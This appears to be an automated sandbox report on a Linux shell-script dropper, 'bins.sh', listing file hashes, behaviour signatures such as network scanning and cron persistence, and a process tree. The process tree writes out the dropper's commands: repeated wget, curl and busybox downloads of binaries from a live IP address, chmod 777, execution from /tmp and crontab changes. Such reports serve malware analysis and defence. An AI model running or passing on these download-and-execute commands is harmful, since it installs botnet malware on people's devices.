Analysis

  • max time kernel
    149s
  • max time network
    155s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04-11-2024 08:28

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    ac492d233d3526f64c5fd40d078150d1

  • SHA1

    6bb76a3db6c7c0d1711831fd8cbfe340a2c264ac

  • SHA256

    ee0ec26cc22e6c1c1a4c831a96684803d3ca076d715b02a46538b09172d6434a

  • SHA512

    b880791ffb529ff5a462b895b1b64aa52560533290a324362c6ab83a2354fa3d3d667288de875ba988aaabbb5070c462a2926c72178116d943dd60d6c89d6c31

  • SSDEEP

    96:ufMqhpoH7+JbInctVkhpoH7Izj6JVUf39t0jsr5:ufMMJb0c3u1

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1984) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:653
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:659
        • /usr/bin/wget
          wget http://87.120.84.230/bins/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          2⤵
          • Writes file to tmp directory
          PID:662
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:671
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          2⤵
          • Writes file to tmp directory
          PID:680
        • /bin/chmod
          chmod 777 JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          2⤵
          • File and Directory Permissions Modification
          PID:686
        • /tmp/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          ./JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:687
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:689
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:690
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:691
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:692
              • /bin/rm
                rm JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
                2⤵
                  PID:694
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
                  2⤵
                    PID:697
                  • /usr/bin/curl
                    curl -O http://87.120.84.230/bins/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
                    2⤵
                      PID:778
                    • /bin/busybox
                      /bin/busybox wget http://87.120.84.230/bins/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
                      2⤵
                      • Writes file to tmp directory
                      PID:779
                    • /bin/chmod
                      chmod 777 h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
                      2⤵
                      • File and Directory Permissions Modification
                      PID:780
                    • /tmp/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
                      ./h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
                      2⤵
                      • Executes dropped EXE
                      PID:781
                    • /bin/rm
                      rm h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
                      2⤵
                        PID:782
                      • /usr/bin/wget
                        wget http://87.120.84.230/bins/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
                        2⤵
                          PID:783
                        • /usr/bin/curl
                          curl -O http://87.120.84.230/bins/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
                          2⤵
                            PID:789
                          • /bin/busybox
                            /bin/busybox wget http://87.120.84.230/bins/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
                            2⤵
                            • Writes file to tmp directory
                            PID:794
                          • /bin/chmod
                            chmod 777 MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
                            2⤵
                            • File and Directory Permissions Modification
                            PID:795
                          • /tmp/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
                            ./MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
                            2⤵
                            • Executes dropped EXE
                            PID:798
                          • /bin/rm
                            rm MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
                            2⤵
                              PID:799
                            • /usr/bin/wget
                              wget http://87.120.84.230/bins/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                              2⤵
                                PID:800
                              • /usr/bin/curl
                                curl -O http://87.120.84.230/bins/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                                2⤵
                                  PID:801
                                • /bin/busybox
                                  /bin/busybox wget http://87.120.84.230/bins/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:802
                                • /bin/chmod
                                  chmod 777 mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:803
                                • /tmp/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                                  ./mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                                  2⤵
                                  • Executes dropped EXE
                                  PID:804
                                • /bin/rm
                                  rm mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                                  2⤵
                                    PID:806
                                  • /usr/bin/wget
                                    wget http://87.120.84.230/bins/EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt
                                    2⤵
                                      PID:808
                                    • /usr/bin/curl
                                      curl -O http://87.120.84.230/bins/EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt
                                      2⤵
                                        PID:818
                                      • /bin/busybox
                                        /bin/busybox wget http://87.120.84.230/bins/EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:820
                                      • /bin/chmod
                                        chmod 777 EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:822
                                      • /tmp/EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt
                                        ./EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt
                                        2⤵
                                        • Executes dropped EXE
                                        PID:824
                                      • /bin/rm
                                        rm EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt
                                        2⤵
                                          PID:827
                                        • /usr/bin/wget
                                          wget http://87.120.84.230/bins/xxHkoumbNZr86eyZBulOzNytEQfYKLiAu6
                                          2⤵
                                            PID:829
                                          • /usr/bin/curl
                                            curl -O http://87.120.84.230/bins/xxHkoumbNZr86eyZBulOzNytEQfYKLiAu6
                                            2⤵
                                              PID:830
                                            • /bin/busybox
                                              /bin/busybox wget http://87.120.84.230/bins/xxHkoumbNZr86eyZBulOzNytEQfYKLiAu6
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:836
                                            • /bin/chmod
                                              chmod 777 xxHkoumbNZr86eyZBulOzNytEQfYKLiAu6
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:840
                                            • /tmp/xxHkoumbNZr86eyZBulOzNytEQfYKLiAu6
                                              ./xxHkoumbNZr86eyZBulOzNytEQfYKLiAu6
                                              2⤵
                                              • Executes dropped EXE
                                              PID:842
                                            • /bin/rm
                                              rm xxHkoumbNZr86eyZBulOzNytEQfYKLiAu6
                                              2⤵
                                                PID:844
                                              • /usr/bin/wget
                                                wget http://87.120.84.230/bins/GFQ1dybEfFm0uL9A3MDzDBPcrfJLLZiZdv
                                                2⤵
                                                  PID:846

                                              Network

                                              MITRE ATT&CK Enterprise v15

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              • /tmp/EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt

                                                Filesize

                                                151KB

                                                MD5

                                                6c583043d91c55aa470c08c87058e917

                                                SHA1

                                                abf65a5b9bba69980278ad09356e53de8bb89439

                                                SHA256

                                                2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                                SHA512

                                                82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                              • /tmp/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt

                                                Filesize

                                                177KB

                                                MD5

                                                786d75a158fe731feca3880f436082c0

                                                SHA1

                                                79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                                SHA256

                                                5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                                SHA512

                                                7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                              • /tmp/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF

                                                Filesize

                                                127KB

                                                MD5

                                                89077b7bd4bcafca7713be43635c4862

                                                SHA1

                                                fc02edb8fba29ea8ee99e6157ef8560334530052

                                                SHA256

                                                78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                SHA512

                                                1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                              • /tmp/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE

                                                Filesize

                                                119KB

                                                MD5

                                                1b166b95f9cb4b079ef1b9ec8363ddf3

                                                SHA1

                                                0d8eb08add467b3b5474f9b25909297fe7c2839c

                                                SHA256

                                                94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                                SHA512

                                                983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                              • /tmp/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW

                                                Filesize

                                                151KB

                                                MD5

                                                3c90d5820bddcf7c5d1bd21dfa49d958

                                                SHA1

                                                5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                SHA256

                                                bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                SHA512

                                                54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                              • /tmp/xxHkoumbNZr86eyZBulOzNytEQfYKLiAu6

                                                Filesize

                                                112KB

                                                MD5

                                                05d7857dcead18bbd86d2935f591873c

                                                SHA1

                                                34d18f41ef35f93d5364ce3e24d74730a4e91985

                                                SHA256

                                                2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                                SHA512

                                                d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                              • /var/spool/cron/crontabs/tmp.zNy1Uj

                                                Filesize

                                                210B

                                                MD5

                                                df42187d631d7a5b69fbd23b4c4a9e51

                                                SHA1

                                                818feacfbf5a9a20f051e821e770a68cf58506f6

                                                SHA256

                                                ffe8328abc54f4186234a4aff0451ce88f9f3698553ddb5650ad43225b093785

                                                SHA512

                                                8603fe87f04ad3128dfafe1ffda4e81c4fd186ab75d99013a83d2577e0a54e664ffaf05375f790b81bd25ebe570aff557c782c2a41d2905e9a96bd20bb0ef764